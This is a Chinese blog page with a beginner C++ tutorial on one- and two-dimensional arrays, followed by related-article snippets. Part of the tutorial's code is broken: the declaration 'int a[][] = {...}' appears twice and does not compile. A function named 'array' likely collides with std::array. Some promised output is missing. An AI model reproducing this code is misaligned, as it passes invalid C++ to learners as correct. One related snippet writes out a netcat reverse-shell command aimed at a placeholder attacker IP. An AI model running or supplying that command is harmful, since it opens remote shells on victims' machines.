C++基础语法之数组

一、一维数组

    在C++中,一维数组是一系列具有相同数据类型的元素的集合。它们在内存中是连续存储的,可以通过索引访问每个元素。

一维数组的声明形式如下:

数据类型 数组名[常量表达式]

 例如:

// 声明一个能存储10个整数的数组
int arr[10];

// 声明并初始化一个数组
int arr[] = {1, 2, 3, 4, 5};

// 初始化数组中的部分元素
int arr[5] = {1, 2}; // arr[0] = 1, arr[1] = 2, arr[2] = 0, arr[3] = 0, arr[4] = 0
 

一维数组的元素可以通过索引来访问和修改,索引从0开始,如下所示:

int a[] = {1, 2, 3, 4, 5};

// 访问数组中的元素
int firstElement = a[0]; // 1

// 修改数组中的元素
a[2] = 100; // a = {1, 2, 100, 4, 5}
 

一维数组的初始化有两种。

(1)单一数组元素赋值

 a[0]=0就是单一数组赋值,也可以通过变量控制下标的方式进行赋值。例如:

char a[3];
a[0]='a';
a[2]='c';
int i=0;
cout<<a[i]<<endl;

 (2)聚合方式赋值

通过大括号进行多个元素的赋值。例如:

int a[12]={1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12};

int a[]={1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}; //编译器能获得数组元素个数

int a[12]={1, 2, 3, 4, 5, 6, 7}; //前7个元素被赋值,后5个赋值为0

一维数组赋值如图1.1所示

图 1.1

运行结果如下所示。 

二、二维数组

    二维数组是一个表格,由行和列组成。它是一系列具有相同数据类型的元素的集合,这些元素通过行和列的索引来访问。一维数组描述的是线性序列,二维数组描述的则是矩阵。

    二维数组的一般形式为:

数据类型 数组名[常量表达式1][常量表达式2]

 常量表示1代表的是行的数量,常量表示2代表的是列的数量。

二维数组的声明和初始化可以通过以下方式完成:

// 声明一个3行4列的整数数组
int a[3][4];

// 声明并初始化一个3行4列的数组
int a[][] = {{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 12}};

// 初始化数组中的部分元素
int a[2][3] = {{1, 2, 3}, {4, 5, 6}}; // a[0][0] = 1, a[0][1] = 2, a[0][2] = 3, a[1][0] = 4, a[1][1] = 5, a[1][2] = 6
 

二维数组的元素可以通过行和列的索引来访问和修改,索引从0开始,如下所示:

int a[][] = {{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 12}};

// 访问数组中的元素
int element = a[1][2]; // 7

// 修改数组中的元素
a[2][3] = 100; // a= {{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 100}}
 

实例:将二维数组中的行数据和列数据置换如下所示

#include<iostream>
#include<bits/stdc++.h>
using namespace std;
int array(int a[3][3]){
	int i, j, t;
	for(i=0;i<3;i++){
		for(j=0;j<i;j++){
			t=a[i][j];
			a[i][j]=a[j][i];
			a[j][i]=t;
		}
	}
	return 0;
} 
int main(){
	int i, j;
	int a[3][3]={{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};
	for(i=0;i<3;i++){
		for(j=0;j<3;j++){
			cout<<setw(7)<<a[i][j];
		}
		cout<<endl;
	}
	array(a);
	cout<<"置换后的结果为:"<<endl;
	for(i=0;i<3;i++){
		for(j=0;j<3;j++){
			cout<<setw(7)<<a[i][j];
		}
		cout<<endl;
	}
}

运行结果如下所示。

    感谢各位读者的阅读与参与,您的支持是我前进的动力!谢谢各位读者的鼓励与支持!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626482.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

33三个启动菜单的区别辨析与本质探索

三个启动菜单的区别辨析与本质探索 你是否傻傻分不清以下三种启动菜单的本质到底是什么&#xff1f; 有一个看起来非常古老生硬&#xff0c;蓝色大背景&#xff0c;字母丑陋&#xff1b; 还有一个看起来老气横秋&#xff0c;黑底白字&#xff0c;像极了远古时期的电脑报废的样…

CSS2(一):CSS选择器

文章目录 1、CSS基础1.1 CSS简介1.2 CSS编写位置1.2.1 行内样式1.2.2 内部样式1.2.3 外部样式1.2.4 样式优先级 1.2.5 CSS代码风格 2、CSS选择器2.1、基本选择器2.1.1 通配选择器2.1.2 元素选择器2.1.3 类选择器2.1.4 ID选择器2.1.5 总结 2.2、CSS复合选择器2.2.1 交集选择器2.…

TailwindCSS在vite项目中的安装与使用

一、Tailwind CSS工作原理 Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他类名称模板&#xff0c;生成相应的样式&#xff0c;然后将它们写入静态 CSS 文件。它快速、灵活且可靠 — 具有零运行时间。 二、安装必要依赖 Vite创建的项目默认集成了Post…

【从零开始学习Redis | 第十一篇】快速介绍Redis持久化策略

前言&#xff1a; Redis 作为一种快速、高效的内存数据库&#xff0c;被广泛应用于缓存、消息队列、会话存储等场景。然而&#xff0c;由于其特性是基于内存的&#xff0c;一旦服务器进程退出&#xff0c;内存中的数据就会丢失。为了解决这一问题&#xff0c;Redis 提供了持久…

二叉树——初解

二叉树 树树的概念树的性质 二叉树二叉树的概念二叉树的性质二叉树的实现方式数组构建左孩子右兄弟法构建指针构建 树 树的概念 在计算机科学中&#xff0c;树&#xff08;Tree&#xff09;是一种重要的非线性数据结构&#xff0c;它由若干节点&#xff08;Node&#xff09;组…

揿针在医保上叫什么?

点击文末领取揿针的视频教程跟直播讲解 创新型皮内针&#xff08;揿针&#xff09;——医保甲类产品 皮内针&#xff08;揿针&#xff09;技术属于重点推广的中医适宜技术&#xff0c;是将特制的小型针具固定于腧穴部位的皮内或皮下做较长时间留针的一种方法&#xff0c;称“…

商家利器!手机智能无人直播实时场景,轻松解决获客难、成本高难题

​​随着互联网的飞速发展&#xff0c;直播行业正在成为一种新型的商业模式。然而&#xff0c;许多商家在进行直播带货时面临着获客困难和高成本的挑战。为了解决这些问题&#xff0c;本文将介绍一种名为"自动直播"的功能&#xff0c;并详述如何利用手机实现实时场景…

2025考研专业课、英语、数学、政治视频大全,整理全了!

考研季又到了&#xff0c;备考的小伙伴们&#xff0c;你们准备好了吗&#xff1f; 时间管理 考研是一场与时间的赛跑&#xff0c;合理安排时间&#xff0c;让复习更高效&#xff01; - 制定详细的学习计划&#xff0c;每天、每周、每月都有明确目标 - ‍♂️ 保持一定的学习…

AI日报:OpenAI全能模型GPT-4o发布;阿里推自动化视频剪辑神器;AI作品会侵权吗?调研结果...;零一万物开源Yi-1.5模型

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南&#xff0c;每天我们为你呈现AI领域的热点内容&#xff0c;聚焦开发者&#xff0c;助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解&#xff1a;https://top.aibase.com/ 1、干翻所有语音助手&#x…

2024年了,Covid19怎么发?PANoptosis程序性死亡,抓紧上车!

说在前面 大家众所周知的新冠&#xff0c;其实早在19年末&#xff0c;20年初的时候很多人都抓住了这个热点发到了好文章&#xff0c;Covid-19&#xff0c;这玩意可以做到让一个期刊从2分飙升到20分&#xff0c;且非预警期刊&#xff0c;不过现在退火了&#xff0c;今年是12.7分…

程序员就是管道工

程序是由指令和数据组成的。 指令是按照特定的顺序执行的&#xff0c;这些顺序好比水的流向。 要想让水高效地流向我们想要的地方&#xff0c;就要设计一个精良的管道系统&#xff0c;这好比算法。 剩下的就是修建管道了&#xff0c;你要知道各种管的型号、用途&#xff0c;然…

使用Nginx对网站资源进行加密访问并限制访问IP

你好呀&#xff0c;我是赵兴晨&#xff0c;文科程序员。 大家在工作中有没有遇到过这样的需求&#xff0c;新上的网站部署到生产服务器上&#xff0c;但是还没公开&#xff0c;只允许个别高层领导看。 思来想去&#xff0c;我想到了一个简单的方法&#xff0c;通过Nginx对网站…

论文解读:Self-Prompt Mechanism for Few-Shot Image Recognition

文章汇总 存在的问题 由于提示文本和图像特征之间固有的模态差异&#xff0c;常规的提示方法的性能受到限制。 动机 让视觉信息自己给自己提示 解决办法 SPM涉及到图像编码器跨空间和通道维度产生的固有语义特征的系统选择&#xff0c;从而产生自提示信息。随后&#xff…

滚珠螺杆在精密机械设备中如何维持精度要求?

滚珠螺杆在精密设备领域中的运用非常之广泛&#xff0c;具有精度高、效率高的特点。为了确保滚珠螺杆在生产设备中能够发挥最佳性能&#xff0c;我们必须从多个维度进行深入考量&#xff0c;并采取针对性的措施&#xff0c;以确保其稳定、精准地服务于现代化生产的每一个环节。…

KeyShot 2023.3 Pro for mac/win:完美融合3D渲染与动画制作

在当今数字化时代&#xff0c;视觉内容的创作和表现越来越受到重视。无论是产品设计、建筑规划&#xff0c;还是影视特效&#xff0c;都需要具备出色的3D渲染和动画制作工具来展现创意和想法。而作为业内领先的3D渲染和动画制作软件之一&#xff0c;KeyShot 2023.3 Pro在这个领…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

邓闲小——生存、生活、生命|真北写作

人生有三个层次∶生存、生活、生命。 生存就是做必须做的事。生存的模式是邓&#xff0c;是交易&#xff0c;是买卖。别人需要的东西&#xff0c;你生产出来&#xff0c;卖给他。哪怕这个东西没啥用&#xff0c;也可以卖&#xff0c;情绪也可以卖。你需要的东西&#xff0c;你花…

《Python编程从入门到实践》day28

# 昨日知识点回顾 安装Matplotlib 绘制简单的折线图 # 今日知识点学习 15.2.1 修改标签文字和线条粗细 # module backend_interagg has no attribute FigureCanvas. Did you mean: FigureCanvasAgg? # 解决办法&#xff1a;matplotlib切换图形界面显示终端TkAgg。 #…

回复完成 输入框还显示值的问题

回复完成 输入框还显示值的问题 解决代码 先把id 值清空 再构建下这个输入框 $("#details_article_reply_content").val(""); // 清空textareavar editor editormd("article_details_reply", {width: "100%",height: "100%"…

【HarmonyOS】Stage 模型 - 应用配置文件

如图所示&#xff1a; Stage 模型应用配置文件主要有两类&#xff1a; 全局配置文件。放在 AppScope 目录下&#xff0c;app.json5。用来配置应用全局的信息。模块配置文件&#xff0c;放在每个模块里&#xff0c;module.json5。用来配置模块的信息。 一、全局配置文件 示…